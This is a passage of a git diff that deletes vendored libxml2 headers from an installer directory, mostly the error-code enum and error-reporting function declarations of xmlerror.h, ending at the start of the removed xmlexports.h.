*/ - XML_IO_EDOM, /* 1509 */ - XML_IO_EEXIST, /* 1510 */ - XML_IO_EFAULT, /* 1511 */ - XML_IO_EFBIG, /* 1512 */ - XML_IO_EINPROGRESS, /* 1513 */ - XML_IO_EINTR, /* 1514 */ - XML_IO_EINVAL, /* 1515 */ - XML_IO_EIO, /* 1516 */ - XML_IO_EISDIR, /* 1517 */ - XML_IO_EMFILE, /* 1518 */ - XML_IO_EMLINK, /* 1519 */ - XML_IO_EMSGSIZE, /* 1520 */ - XML_IO_ENAMETOOLONG, /* 1521 */ - XML_IO_ENFILE, /* 1522 */ - XML_IO_ENODEV, /* 1523 */ - XML_IO_ENOENT, /* 1524 */ - XML_IO_ENOEXEC, /* 1525 */ - XML_IO_ENOLCK, /* 1526 */ - XML_IO_ENOMEM, /* 1527 */ - XML_IO_ENOSPC, /* 1528 */ - XML_IO_ENOSYS, /* 1529 */ - XML_IO_ENOTDIR, /* 1530 */ - XML_IO_ENOTEMPTY, /* 1531 */ - XML_IO_ENOTSUP, /* 1532 */ - XML_IO_ENOTTY, /* 1533 */ - XML_IO_ENXIO, /* 1534 */ - XML_IO_EPERM, /* 1535 */ - XML_IO_EPIPE, /* 1536 */ - XML_IO_ERANGE, /* 1537 */ - XML_IO_EROFS, /* 1538 */ - XML_IO_ESPIPE, /* 1539 */ - XML_IO_ESRCH, /* 1540 */ - XML_IO_ETIMEDOUT, /* 1541 */ - XML_IO_EXDEV, /* 1542 */ - XML_IO_NETWORK_ATTEMPT, /* 1543 */ - XML_IO_ENCODER, /* 1544 */ - XML_IO_FLUSH, /* 1545 */ - XML_IO_WRITE, /* 1546 */ - XML_IO_NO_INPUT, /* 1547 */ - XML_IO_BUFFER_FULL, /* 1548 */ - XML_IO_LOAD_ERROR, /* 1549 */ - XML_IO_ENOTSOCK, /* 1550 */ - XML_IO_EISCONN, /* 1551 */ - XML_IO_ECONNREFUSED, /* 1552 */ - XML_IO_ENETUNREACH, /* 1553 */ - XML_IO_EADDRINUSE, /* 1554 */ - XML_IO_EALREADY, /* 1555 */ - XML_IO_EAFNOSUPPORT, /* 1556 */ - XML_XINCLUDE_RECURSION=1600, - XML_XINCLUDE_PARSE_VALUE, /* 1601 */ - XML_XINCLUDE_ENTITY_DEF_MISMATCH, /* 1602 */ - XML_XINCLUDE_NO_HREF, /* 1603 */ - XML_XINCLUDE_NO_FALLBACK, /* 1604 */ - XML_XINCLUDE_HREF_URI, /* 1605 */ - XML_XINCLUDE_TEXT_FRAGMENT, /* 1606 */ - XML_XINCLUDE_TEXT_DOCUMENT, /* 1607 */ - XML_XINCLUDE_INVALID_CHAR, /* 1608 */ - XML_XINCLUDE_BUILD_FAILED, /* 1609 */ - XML_XINCLUDE_UNKNOWN_ENCODING, /* 1610 */ - XML_XINCLUDE_MULTIPLE_ROOT, /* 1611 */ - XML_XINCLUDE_XPTR_FAILED, /* 1612 */ - XML_XINCLUDE_XPTR_RESULT, /* 1613 */ - XML_XINCLUDE_INCLUDE_IN_INCLUDE, /* 1614 */ - XML_XINCLUDE_FALLBACKS_IN_INCLUDE, /* 1615 */ - XML_XINCLUDE_FALLBACK_NOT_IN_INCLUDE, /* 1616 */ - XML_XINCLUDE_DEPRECATED_NS, /* 1617 */ - XML_XINCLUDE_FRAGMENT_ID, /* 1618 */ - XML_CATALOG_MISSING_ATTR = 1650, - XML_CATALOG_ENTRY_BROKEN, /* 1651 */ - XML_CATALOG_PREFER_VALUE, /* 1652 */ - XML_CATALOG_NOT_CATALOG, /* 1653 */ - XML_CATALOG_RECURSION, /* 1654 */ - XML_SCHEMAP_PREFIX_UNDEFINED = 1700, - XML_SCHEMAP_ATTRFORMDEFAULT_VALUE, /* 1701 */ - XML_SCHEMAP_ATTRGRP_NONAME_NOREF, /* 1702 */ - XML_SCHEMAP_ATTR_NONAME_NOREF, /* 1703 */ - XML_SCHEMAP_COMPLEXTYPE_NONAME_NOREF, /* 1704 */ - XML_SCHEMAP_ELEMFORMDEFAULT_VALUE, /* 1705 */ - XML_SCHEMAP_ELEM_NONAME_NOREF, /* 1706 */ - XML_SCHEMAP_EXTENSION_NO_BASE, /* 1707 */ - XML_SCHEMAP_FACET_NO_VALUE, /* 1708 */ - XML_SCHEMAP_FAILED_BUILD_IMPORT, /* 1709 */ - XML_SCHEMAP_GROUP_NONAME_NOREF, /* 1710 */ - XML_SCHEMAP_IMPORT_NAMESPACE_NOT_URI, /* 1711 */ - XML_SCHEMAP_IMPORT_REDEFINE_NSNAME, /* 1712 */ - XML_SCHEMAP_IMPORT_SCHEMA_NOT_URI, /* 1713 */ - XML_SCHEMAP_INVALID_BOOLEAN, /* 1714 */ - XML_SCHEMAP_INVALID_ENUM, /* 1715 */ - XML_SCHEMAP_INVALID_FACET, /* 1716 */ - XML_SCHEMAP_INVALID_FACET_VALUE, /* 1717 */ - XML_SCHEMAP_INVALID_MAXOCCURS, /* 1718 */ - XML_SCHEMAP_INVALID_MINOCCURS, /* 1719 */ - XML_SCHEMAP_INVALID_REF_AND_SUBTYPE, /* 1720 */ - XML_SCHEMAP_INVALID_WHITE_SPACE, /* 1721 */ - XML_SCHEMAP_NOATTR_NOREF, /* 1722 */ - XML_SCHEMAP_NOTATION_NO_NAME, /* 1723 */ - XML_SCHEMAP_NOTYPE_NOREF, /* 1724 */ - XML_SCHEMAP_REF_AND_SUBTYPE, /* 1725 */ - XML_SCHEMAP_RESTRICTION_NONAME_NOREF, /* 1726 */ - XML_SCHEMAP_SIMPLETYPE_NONAME, /* 1727 */ - XML_SCHEMAP_TYPE_AND_SUBTYPE, /* 1728 */ - XML_SCHEMAP_UNKNOWN_ALL_CHILD, /* 1729 */ - XML_SCHEMAP_UNKNOWN_ANYATTRIBUTE_CHILD, /* 1730 */ - XML_SCHEMAP_UNKNOWN_ATTR_CHILD, /* 1731 */ - XML_SCHEMAP_UNKNOWN_ATTRGRP_CHILD, /* 1732 */ - XML_SCHEMAP_UNKNOWN_ATTRIBUTE_GROUP, /* 1733 */ - XML_SCHEMAP_UNKNOWN_BASE_TYPE, /* 1734 */ - XML_SCHEMAP_UNKNOWN_CHOICE_CHILD, /* 1735 */ - XML_SCHEMAP_UNKNOWN_COMPLEXCONTENT_CHILD, /* 1736 */ - XML_SCHEMAP_UNKNOWN_COMPLEXTYPE_CHILD, /* 1737 */ - XML_SCHEMAP_UNKNOWN_ELEM_CHILD, /* 1738 */ - XML_SCHEMAP_UNKNOWN_EXTENSION_CHILD, /* 1739 */ - XML_SCHEMAP_UNKNOWN_FACET_CHILD, /* 1740 */ - XML_SCHEMAP_UNKNOWN_FACET_TYPE, /* 1741 */ - XML_SCHEMAP_UNKNOWN_GROUP_CHILD, /* 1742 */ - XML_SCHEMAP_UNKNOWN_IMPORT_CHILD, /* 1743 */ - XML_SCHEMAP_UNKNOWN_LIST_CHILD, /* 1744 */ - XML_SCHEMAP_UNKNOWN_NOTATION_CHILD, /* 1745 */ - XML_SCHEMAP_UNKNOWN_PROCESSCONTENT_CHILD, /* 1746 */ - XML_SCHEMAP_UNKNOWN_REF, /* 1747 */ - XML_SCHEMAP_UNKNOWN_RESTRICTION_CHILD, /* 1748 */ - XML_SCHEMAP_UNKNOWN_SCHEMAS_CHILD, /* 1749 */ - XML_SCHEMAP_UNKNOWN_SEQUENCE_CHILD, /* 1750 */ - XML_SCHEMAP_UNKNOWN_SIMPLECONTENT_CHILD, /* 1751 */ - XML_SCHEMAP_UNKNOWN_SIMPLETYPE_CHILD, /* 1752 */ - XML_SCHEMAP_UNKNOWN_TYPE, /* 1753 */ - XML_SCHEMAP_UNKNOWN_UNION_CHILD, /* 1754 */ - XML_SCHEMAP_ELEM_DEFAULT_FIXED, /* 1755 */ - XML_SCHEMAP_REGEXP_INVALID, /* 1756 */ - XML_SCHEMAP_FAILED_LOAD, /* 1757 */ - XML_SCHEMAP_NOTHING_TO_PARSE, /* 1758 */ - XML_SCHEMAP_NOROOT, /* 1759 */ - XML_SCHEMAP_REDEFINED_GROUP, /* 1760 */ - XML_SCHEMAP_REDEFINED_TYPE, /* 1761 */ - XML_SCHEMAP_REDEFINED_ELEMENT, /* 1762 */ - XML_SCHEMAP_REDEFINED_ATTRGROUP, /* 1763 */ - XML_SCHEMAP_REDEFINED_ATTR, /* 1764 */ - XML_SCHEMAP_REDEFINED_NOTATION, /* 1765 */ - XML_SCHEMAP_FAILED_PARSE, /* 1766 */ - XML_SCHEMAP_UNKNOWN_PREFIX, /* 1767 */ - XML_SCHEMAP_DEF_AND_PREFIX, /* 1768 */ - XML_SCHEMAP_UNKNOWN_INCLUDE_CHILD, /* 1769 */ - XML_SCHEMAP_INCLUDE_SCHEMA_NOT_URI, /* 1770 */ - XML_SCHEMAP_INCLUDE_SCHEMA_NO_URI, /* 1771 */ - XML_SCHEMAP_NOT_SCHEMA, /* 1772 */ - XML_SCHEMAP_UNKNOWN_MEMBER_TYPE, /* 1773 */ - XML_SCHEMAP_INVALID_ATTR_USE, /* 1774 */ - XML_SCHEMAP_RECURSIVE, /* 1775 */ - XML_SCHEMAP_SUPERNUMEROUS_LIST_ITEM_TYPE, /* 1776 */ - XML_SCHEMAP_INVALID_ATTR_COMBINATION, /* 1777 */ - XML_SCHEMAP_INVALID_ATTR_INLINE_COMBINATION, /* 1778 */ - XML_SCHEMAP_MISSING_SIMPLETYPE_CHILD, /* 1779 */ - XML_SCHEMAP_INVALID_ATTR_NAME, /* 1780 */ - XML_SCHEMAP_REF_AND_CONTENT, /* 1781 */ - XML_SCHEMAP_CT_PROPS_CORRECT_1, /* 1782 */ - XML_SCHEMAP_CT_PROPS_CORRECT_2, /* 1783 */ - XML_SCHEMAP_CT_PROPS_CORRECT_3, /* 1784 */ - XML_SCHEMAP_CT_PROPS_CORRECT_4, /* 1785 */ - XML_SCHEMAP_CT_PROPS_CORRECT_5, /* 1786 */ - XML_SCHEMAP_DERIVATION_OK_RESTRICTION_1, /* 1787 */ - XML_SCHEMAP_DERIVATION_OK_RESTRICTION_2_1_1, /* 1788 */ - XML_SCHEMAP_DERIVATION_OK_RESTRICTION_2_1_2, /* 1789 */ - XML_SCHEMAP_DERIVATION_OK_RESTRICTION_2_2, /* 1790 */ - XML_SCHEMAP_DERIVATION_OK_RESTRICTION_3, /* 1791 */ - XML_SCHEMAP_WILDCARD_INVALID_NS_MEMBER, /* 1792 */ - XML_SCHEMAP_INTERSECTION_NOT_EXPRESSIBLE, /* 1793 */ - XML_SCHEMAP_UNION_NOT_EXPRESSIBLE, /* 1794 */ - XML_SCHEMAP_SRC_IMPORT_3_1, /* 1795 */ - XML_SCHEMAP_SRC_IMPORT_3_2, /* 1796 */ - XML_SCHEMAP_DERIVATION_OK_RESTRICTION_4_1, /* 1797 */ - XML_SCHEMAP_DERIVATION_OK_RESTRICTION_4_2, /* 1798 */ - XML_SCHEMAP_DERIVATION_OK_RESTRICTION_4_3, /* 1799 */ - XML_SCHEMAP_COS_CT_EXTENDS_1_3, /* 1800 */ - XML_SCHEMAV_NOROOT = 1801, - XML_SCHEMAV_UNDECLAREDELEM, /* 1802 */ - XML_SCHEMAV_NOTTOPLEVEL, /* 1803 */ - XML_SCHEMAV_MISSING, /* 1804 */ - XML_SCHEMAV_WRONGELEM, /* 1805 */ - XML_SCHEMAV_NOTYPE, /* 1806 */ - XML_SCHEMAV_NOROLLBACK, /* 1807 */ - XML_SCHEMAV_ISABSTRACT, /* 1808 */ - XML_SCHEMAV_NOTEMPTY, /* 1809 */ - XML_SCHEMAV_ELEMCONT, /* 1810 */ - XML_SCHEMAV_HAVEDEFAULT, /* 1811 */ - XML_SCHEMAV_NOTNILLABLE, /* 1812 */ - XML_SCHEMAV_EXTRACONTENT, /* 1813 */ - XML_SCHEMAV_INVALIDATTR, /* 1814 */ - XML_SCHEMAV_INVALIDELEM, /* 1815 */ - XML_SCHEMAV_NOTDETERMINIST, /* 1816 */ - XML_SCHEMAV_CONSTRUCT, /* 1817 */ - XML_SCHEMAV_INTERNAL, /* 1818 */ - XML_SCHEMAV_NOTSIMPLE, /* 1819 */ - XML_SCHEMAV_ATTRUNKNOWN, /* 1820 */ - XML_SCHEMAV_ATTRINVALID, /* 1821 */ - XML_SCHEMAV_VALUE, /* 1822 */ - XML_SCHEMAV_FACET, /* 1823 */ - XML_SCHEMAV_CVC_DATATYPE_VALID_1_2_1, /* 1824 */ - XML_SCHEMAV_CVC_DATATYPE_VALID_1_2_2, /* 1825 */ - XML_SCHEMAV_CVC_DATATYPE_VALID_1_2_3, /* 1826 */ - XML_SCHEMAV_CVC_TYPE_3_1_1, /* 1827 */ - XML_SCHEMAV_CVC_TYPE_3_1_2, /* 1828 */ - XML_SCHEMAV_CVC_FACET_VALID, /* 1829 */ - XML_SCHEMAV_CVC_LENGTH_VALID, /* 1830 */ - XML_SCHEMAV_CVC_MINLENGTH_VALID, /* 1831 */ - XML_SCHEMAV_CVC_MAXLENGTH_VALID, /* 1832 */ - XML_SCHEMAV_CVC_MININCLUSIVE_VALID, /* 1833 */ - XML_SCHEMAV_CVC_MAXINCLUSIVE_VALID, /* 1834 */ - XML_SCHEMAV_CVC_MINEXCLUSIVE_VALID, /* 1835 */ - XML_SCHEMAV_CVC_MAXEXCLUSIVE_VALID, /* 1836 */ - XML_SCHEMAV_CVC_TOTALDIGITS_VALID, /* 1837 */ - XML_SCHEMAV_CVC_FRACTIONDIGITS_VALID, /* 1838 */ - XML_SCHEMAV_CVC_PATTERN_VALID, /* 1839 */ - XML_SCHEMAV_CVC_ENUMERATION_VALID, /* 1840 */ - XML_SCHEMAV_CVC_COMPLEX_TYPE_2_1, /* 1841 */ - XML_SCHEMAV_CVC_COMPLEX_TYPE_2_2, /* 1842 */ - XML_SCHEMAV_CVC_COMPLEX_TYPE_2_3, /* 1843 */ - XML_SCHEMAV_CVC_COMPLEX_TYPE_2_4, /* 1844 */ - XML_SCHEMAV_CVC_ELT_1, /* 1845 */ - XML_SCHEMAV_CVC_ELT_2, /* 1846 */ - XML_SCHEMAV_CVC_ELT_3_1, /* 1847 */ - XML_SCHEMAV_CVC_ELT_3_2_1, /* 1848 */ - XML_SCHEMAV_CVC_ELT_3_2_2, /* 1849 */ - XML_SCHEMAV_CVC_ELT_4_1, /* 1850 */ - XML_SCHEMAV_CVC_ELT_4_2, /* 1851 */ - XML_SCHEMAV_CVC_ELT_4_3, /* 1852 */ - XML_SCHEMAV_CVC_ELT_5_1_1, /* 1853 */ - XML_SCHEMAV_CVC_ELT_5_1_2, /* 1854 */ - XML_SCHEMAV_CVC_ELT_5_2_1, /* 1855 */ - XML_SCHEMAV_CVC_ELT_5_2_2_1, /* 1856 */ - XML_SCHEMAV_CVC_ELT_5_2_2_2_1, /* 1857 */ - XML_SCHEMAV_CVC_ELT_5_2_2_2_2, /* 1858 */ - XML_SCHEMAV_CVC_ELT_6, /* 1859 */ - XML_SCHEMAV_CVC_ELT_7, /* 1860 */ - XML_SCHEMAV_CVC_ATTRIBUTE_1, /* 1861 */ - XML_SCHEMAV_CVC_ATTRIBUTE_2, /* 1862 */ - XML_SCHEMAV_CVC_ATTRIBUTE_3, /* 1863 */ - XML_SCHEMAV_CVC_ATTRIBUTE_4, /* 1864 */ - XML_SCHEMAV_CVC_COMPLEX_TYPE_3_1, /* 1865 */ - XML_SCHEMAV_CVC_COMPLEX_TYPE_3_2_1, /* 1866 */ - XML_SCHEMAV_CVC_COMPLEX_TYPE_3_2_2, /* 1867 */ - XML_SCHEMAV_CVC_COMPLEX_TYPE_4, /* 1868 */ - XML_SCHEMAV_CVC_COMPLEX_TYPE_5_1, /* 1869 */ - XML_SCHEMAV_CVC_COMPLEX_TYPE_5_2, /* 1870 */ - XML_SCHEMAV_ELEMENT_CONTENT, /* 1871 */ - XML_SCHEMAV_DOCUMENT_ELEMENT_MISSING, /* 1872 */ - XML_SCHEMAV_CVC_COMPLEX_TYPE_1, /* 1873 */ - XML_SCHEMAV_CVC_AU, /* 1874 */ - XML_SCHEMAV_CVC_TYPE_1, /* 1875 */ - XML_SCHEMAV_CVC_TYPE_2, /* 1876 */ - XML_SCHEMAV_CVC_IDC, /* 1877 */ - XML_SCHEMAV_CVC_WILDCARD, /* 1878 */ - XML_SCHEMAV_MISC, /* 1879 */ - XML_XPTR_UNKNOWN_SCHEME = 1900, - XML_XPTR_CHILDSEQ_START, /* 1901 */ - XML_XPTR_EVAL_FAILED, /* 1902 */ - XML_XPTR_EXTRA_OBJECTS, /* 1903 */ - XML_C14N_CREATE_CTXT = 1950, - XML_C14N_REQUIRES_UTF8, /* 1951 */ - XML_C14N_CREATE_STACK, /* 1952 */ - XML_C14N_INVALID_NODE, /* 1953 */ - XML_C14N_UNKNOW_NODE, /* 1954 */ - XML_C14N_RELATIVE_NAMESPACE, /* 1955 */ - XML_FTP_PASV_ANSWER = 2000, - XML_FTP_EPSV_ANSWER, /* 2001 */ - XML_FTP_ACCNT, /* 2002 */ - XML_FTP_URL_SYNTAX, /* 2003 */ - XML_HTTP_URL_SYNTAX = 2020, - XML_HTTP_USE_IP, /* 2021 */ - XML_HTTP_UNKNOWN_HOST, /* 2022 */ - XML_SCHEMAP_SRC_SIMPLE_TYPE_1 = 3000, - XML_SCHEMAP_SRC_SIMPLE_TYPE_2, /* 3001 */ - XML_SCHEMAP_SRC_SIMPLE_TYPE_3, /* 3002 */ - XML_SCHEMAP_SRC_SIMPLE_TYPE_4, /* 3003 */ - XML_SCHEMAP_SRC_RESOLVE, /* 3004 */ - XML_SCHEMAP_SRC_RESTRICTION_BASE_OR_SIMPLETYPE, /* 3005 */ - XML_SCHEMAP_SRC_LIST_ITEMTYPE_OR_SIMPLETYPE, /* 3006 */ - XML_SCHEMAP_SRC_UNION_MEMBERTYPES_OR_SIMPLETYPES, /* 3007 */ - XML_SCHEMAP_ST_PROPS_CORRECT_1, /* 3008 */ - XML_SCHEMAP_ST_PROPS_CORRECT_2, /* 3009 */ - XML_SCHEMAP_ST_PROPS_CORRECT_3, /* 3010 */ - XML_SCHEMAP_COS_ST_RESTRICTS_1_1, /* 3011 */ - XML_SCHEMAP_COS_ST_RESTRICTS_1_2, /* 3012 */ - XML_SCHEMAP_COS_ST_RESTRICTS_1_3_1, /* 3013 */ - XML_SCHEMAP_COS_ST_RESTRICTS_1_3_2, /* 3014 */ - XML_SCHEMAP_COS_ST_RESTRICTS_2_1, /* 3015 */ - XML_SCHEMAP_COS_ST_RESTRICTS_2_3_1_1, /* 3016 */ - XML_SCHEMAP_COS_ST_RESTRICTS_2_3_1_2, /* 3017 */ - XML_SCHEMAP_COS_ST_RESTRICTS_2_3_2_1, /* 3018 */ - XML_SCHEMAP_COS_ST_RESTRICTS_2_3_2_2, /* 3019 */ - XML_SCHEMAP_COS_ST_RESTRICTS_2_3_2_3, /* 3020 */ - XML_SCHEMAP_COS_ST_RESTRICTS_2_3_2_4, /* 3021 */ - XML_SCHEMAP_COS_ST_RESTRICTS_2_3_2_5, /* 3022 */ - XML_SCHEMAP_COS_ST_RESTRICTS_3_1, /* 3023 */ - XML_SCHEMAP_COS_ST_RESTRICTS_3_3_1, /* 3024 */ - XML_SCHEMAP_COS_ST_RESTRICTS_3_3_1_2, /* 3025 */ - XML_SCHEMAP_COS_ST_RESTRICTS_3_3_2_2, /* 3026 */ - XML_SCHEMAP_COS_ST_RESTRICTS_3_3_2_1, /* 3027 */ - XML_SCHEMAP_COS_ST_RESTRICTS_3_3_2_3, /* 3028 */ - XML_SCHEMAP_COS_ST_RESTRICTS_3_3_2_4, /* 3029 */ - XML_SCHEMAP_COS_ST_RESTRICTS_3_3_2_5, /* 3030 */ - XML_SCHEMAP_COS_ST_DERIVED_OK_2_1, /* 3031 */ - XML_SCHEMAP_COS_ST_DERIVED_OK_2_2, /* 3032 */ - XML_SCHEMAP_S4S_ELEM_NOT_ALLOWED, /* 3033 */ - XML_SCHEMAP_S4S_ELEM_MISSING, /* 3034 */ - XML_SCHEMAP_S4S_ATTR_NOT_ALLOWED, /* 3035 */ - XML_SCHEMAP_S4S_ATTR_MISSING, /* 3036 */ - XML_SCHEMAP_S4S_ATTR_INVALID_VALUE, /* 3037 */ - XML_SCHEMAP_SRC_ELEMENT_1, /* 3038 */ - XML_SCHEMAP_SRC_ELEMENT_2_1, /* 3039 */ - XML_SCHEMAP_SRC_ELEMENT_2_2, /* 3040 */ - XML_SCHEMAP_SRC_ELEMENT_3, /* 3041 */ - XML_SCHEMAP_P_PROPS_CORRECT_1, /* 3042 */ - XML_SCHEMAP_P_PROPS_CORRECT_2_1, /* 3043 */ - XML_SCHEMAP_P_PROPS_CORRECT_2_2, /* 3044 */ - XML_SCHEMAP_E_PROPS_CORRECT_2, /* 3045 */ - XML_SCHEMAP_E_PROPS_CORRECT_3, /* 3046 */ - XML_SCHEMAP_E_PROPS_CORRECT_4, /* 3047 */ - XML_SCHEMAP_E_PROPS_CORRECT_5, /* 3048 */ - XML_SCHEMAP_E_PROPS_CORRECT_6, /* 3049 */ - XML_SCHEMAP_SRC_INCLUDE, /* 3050 */ - XML_SCHEMAP_SRC_ATTRIBUTE_1, /* 3051 */ - XML_SCHEMAP_SRC_ATTRIBUTE_2, /* 3052 */ - XML_SCHEMAP_SRC_ATTRIBUTE_3_1, /* 3053 */ - XML_SCHEMAP_SRC_ATTRIBUTE_3_2, /* 3054 */ - XML_SCHEMAP_SRC_ATTRIBUTE_4, /* 3055 */ - XML_SCHEMAP_NO_XMLNS, /* 3056 */ - XML_SCHEMAP_NO_XSI, /* 3057 */ - XML_SCHEMAP_COS_VALID_DEFAULT_1, /* 3058 */ - XML_SCHEMAP_COS_VALID_DEFAULT_2_1, /* 3059 */ - XML_SCHEMAP_COS_VALID_DEFAULT_2_2_1, /* 3060 */ - XML_SCHEMAP_COS_VALID_DEFAULT_2_2_2, /* 3061 */ - XML_SCHEMAP_CVC_SIMPLE_TYPE, /* 3062 */ - XML_SCHEMAP_COS_CT_EXTENDS_1_1, /* 3063 */ - XML_SCHEMAP_SRC_IMPORT_1_1, /* 3064 */ - XML_SCHEMAP_SRC_IMPORT_1_2, /* 3065 */ - XML_SCHEMAP_SRC_IMPORT_2, /* 3066 */ - XML_SCHEMAP_SRC_IMPORT_2_1, /* 3067 */ - XML_SCHEMAP_SRC_IMPORT_2_2, /* 3068 */ - XML_SCHEMAP_INTERNAL, /* 3069 non-W3C */ - XML_SCHEMAP_NOT_DETERMINISTIC, /* 3070 non-W3C */ - XML_SCHEMAP_SRC_ATTRIBUTE_GROUP_1, /* 3071 */ - XML_SCHEMAP_SRC_ATTRIBUTE_GROUP_2, /* 3072 */ - XML_SCHEMAP_SRC_ATTRIBUTE_GROUP_3, /* 3073 */ - XML_SCHEMAP_MG_PROPS_CORRECT_1, /* 3074 */ - XML_SCHEMAP_MG_PROPS_CORRECT_2, /* 3075 */ - XML_SCHEMAP_SRC_CT_1, /* 3076 */ - XML_SCHEMAP_DERIVATION_OK_RESTRICTION_2_1_3, /* 3077 */ - XML_SCHEMAP_AU_PROPS_CORRECT_2, /* 3078 */ - XML_SCHEMAP_A_PROPS_CORRECT_2, /* 3079 */ - XML_SCHEMAP_C_PROPS_CORRECT, /* 3080 */ - XML_SCHEMAP_SRC_REDEFINE, /* 3081 */ - XML_SCHEMAP_SRC_IMPORT, /* 3082 */ - XML_SCHEMAP_WARN_SKIP_SCHEMA, /* 3083 */ - XML_SCHEMAP_WARN_UNLOCATED_SCHEMA, /* 3084 */ - XML_SCHEMAP_WARN_ATTR_REDECL_PROH, /* 3085 */ - XML_SCHEMAP_WARN_ATTR_POINTLESS_PROH, /* 3085 */ - XML_SCHEMAP_AG_PROPS_CORRECT, /* 3086 */ - XML_SCHEMAP_COS_CT_EXTENDS_1_2, /* 3087 */ - XML_SCHEMAP_AU_PROPS_CORRECT, /* 3088 */ - XML_SCHEMAP_A_PROPS_CORRECT_3, /* 3089 */ - XML_SCHEMAP_COS_ALL_LIMITED, /* 3090 */ - XML_SCHEMATRONV_ASSERT = 4000, /* 4000 */ - XML_SCHEMATRONV_REPORT, - XML_MODULE_OPEN = 4900, /* 4900 */ - XML_MODULE_CLOSE, /* 4901 */ - XML_CHECK_FOUND_ELEMENT = 5000, - XML_CHECK_FOUND_ATTRIBUTE, /* 5001 */ - XML_CHECK_FOUND_TEXT, /* 5002 */ - XML_CHECK_FOUND_CDATA, /* 5003 */ - XML_CHECK_FOUND_ENTITYREF, /* 5004 */ - XML_CHECK_FOUND_ENTITY, /* 5005 */ - XML_CHECK_FOUND_PI, /* 5006 */ - XML_CHECK_FOUND_COMMENT, /* 5007 */ - XML_CHECK_FOUND_DOCTYPE, /* 5008 */ - XML_CHECK_FOUND_FRAGMENT, /* 5009 */ - XML_CHECK_FOUND_NOTATION, /* 5010 */ - XML_CHECK_UNKNOWN_NODE, /* 5011 */ - XML_CHECK_ENTITY_TYPE, /* 5012 */ - XML_CHECK_NO_PARENT, /* 5013 */ - XML_CHECK_NO_DOC, /* 5014 */ - XML_CHECK_NO_NAME, /* 5015 */ - XML_CHECK_NO_ELEM, /* 5016 */ - XML_CHECK_WRONG_DOC, /* 5017 */ - XML_CHECK_NO_PREV, /* 5018 */ - XML_CHECK_WRONG_PREV, /* 5019 */ - XML_CHECK_NO_NEXT, /* 5020 */ - XML_CHECK_WRONG_NEXT, /* 5021 */ - XML_CHECK_NOT_DTD, /* 5022 */ - XML_CHECK_NOT_ATTR, /* 5023 */ - XML_CHECK_NOT_ATTR_DECL, /* 5024 */ - XML_CHECK_NOT_ELEM_DECL, /* 5025 */ - XML_CHECK_NOT_ENTITY_DECL, /* 5026 */ - XML_CHECK_NOT_NS_DECL, /* 5027 */ - XML_CHECK_NO_HREF, /* 5028 */ - XML_CHECK_WRONG_PARENT,/* 5029 */ - XML_CHECK_NS_SCOPE, /* 5030 */ - XML_CHECK_NS_ANCESTOR, /* 5031 */ - XML_CHECK_NOT_UTF8, /* 5032 */ - XML_CHECK_NO_DICT, /* 5033 */ - XML_CHECK_NOT_NCNAME, /* 5034 */ - XML_CHECK_OUTSIDE_DICT, /* 5035 */ - XML_CHECK_WRONG_NAME, /* 5036 */ - XML_CHECK_NAME_NOT_NULL, /* 5037 */ - XML_I18N_NO_NAME = 6000, - XML_I18N_NO_HANDLER, /* 6001 */ - XML_I18N_EXCESS_HANDLER, /* 6002 */ - XML_I18N_CONV_FAILED, /* 6003 */ - XML_I18N_NO_OUTPUT, /* 6004 */ - XML_BUF_OVERFLOW = 7000 -} xmlParserErrors; - -/** - * xmlGenericErrorFunc: - * @ctx: a parsing context - * @msg: the message - * @...: the extra arguments of the varags to format the message - * - * Signature of the function to use when there is an error and - * no parsing or validity context available . - */ -typedef void (XMLCDECL *xmlGenericErrorFunc) (void *ctx, - const char *msg, - ...) LIBXML_ATTR_FORMAT(2,3); -/** - * xmlStructuredErrorFunc: - * @userData: user provided data for the error callback - * @error: the error being raised. - * - * Signature of the function to use when there is an error and - * the module handles the new error reporting mechanism. - */ -typedef void (XMLCALL *xmlStructuredErrorFunc) (void *userData, xmlErrorPtr error); - -/* - * Use the following function to reset the two global variables - * xmlGenericError and xmlGenericErrorContext. - */ -XMLPUBFUN void XMLCALL - xmlSetGenericErrorFunc (void *ctx, - xmlGenericErrorFunc handler); -XMLPUBFUN void XMLCALL - initGenericErrorDefaultFunc (xmlGenericErrorFunc *handler); - -XMLPUBFUN void XMLCALL - xmlSetStructuredErrorFunc (void *ctx, - xmlStructuredErrorFunc handler); -/* - * Default message routines used by SAX and Valid context for error - * and warning reporting. - */ -XMLPUBFUN void XMLCDECL - xmlParserError (void *ctx, - const char *msg, - ...) LIBXML_ATTR_FORMAT(2,3); -XMLPUBFUN void XMLCDECL - xmlParserWarning (void *ctx, - const char *msg, - ...) LIBXML_ATTR_FORMAT(2,3); -XMLPUBFUN void XMLCDECL - xmlParserValidityError (void *ctx, - const char *msg, - ...) LIBXML_ATTR_FORMAT(2,3); -XMLPUBFUN void XMLCDECL - xmlParserValidityWarning (void *ctx, - const char *msg, - ...) LIBXML_ATTR_FORMAT(2,3); -XMLPUBFUN void XMLCALL - xmlParserPrintFileInfo (xmlParserInputPtr input); -XMLPUBFUN void XMLCALL - xmlParserPrintFileContext (xmlParserInputPtr input); - -/* - * Extended error information routines - */ -XMLPUBFUN xmlErrorPtr XMLCALL - xmlGetLastError (void); -XMLPUBFUN void XMLCALL - xmlResetLastError (void); -XMLPUBFUN xmlErrorPtr XMLCALL - xmlCtxtGetLastError (void *ctx); -XMLPUBFUN void XMLCALL - xmlCtxtResetLastError (void *ctx); -XMLPUBFUN void XMLCALL - xmlResetError (xmlErrorPtr err); -XMLPUBFUN int XMLCALL - xmlCopyError (xmlErrorPtr from, - xmlErrorPtr to); - -#ifdef IN_LIBXML -/* - * Internal callback reporting routine - */ -XMLPUBFUN void XMLCALL - __xmlRaiseError (xmlStructuredErrorFunc schannel, - xmlGenericErrorFunc channel, - void *data, - void *ctx, - void *node, - int domain, - int code, - xmlErrorLevel level, - const char *file, - int line, - const char *str1, - const char *str2, - const char *str3, - int int1, - int col, - const char *msg, - ...) LIBXML_ATTR_FORMAT(16,17); -XMLPUBFUN void XMLCALL - __xmlSimpleError (int domain, - int code, - xmlNodePtr node, - const char *msg, - const char *extra) LIBXML_ATTR_FORMAT(4,0); -#endif -#ifdef __cplusplus -} -#endif -#endif /* __XML_ERROR_H__ */ diff --git a/installer/libxml2/include/libxml/xmlexports.h b/installer/libxml2/include/libxml/xmlexports.h deleted file mode 100644 index 2c79f81..0000000 --- a/installer/libxml2/include/libxml/xmlexports.h +++ /dev/null @@ -1,162 +0,0 @@ -/* - * Summary: macros for marking symbols as exportable/importable. - * Description: macros for marking symbols as exportable/importable. - * - * Copy: See Copyright for the status of this software. - * 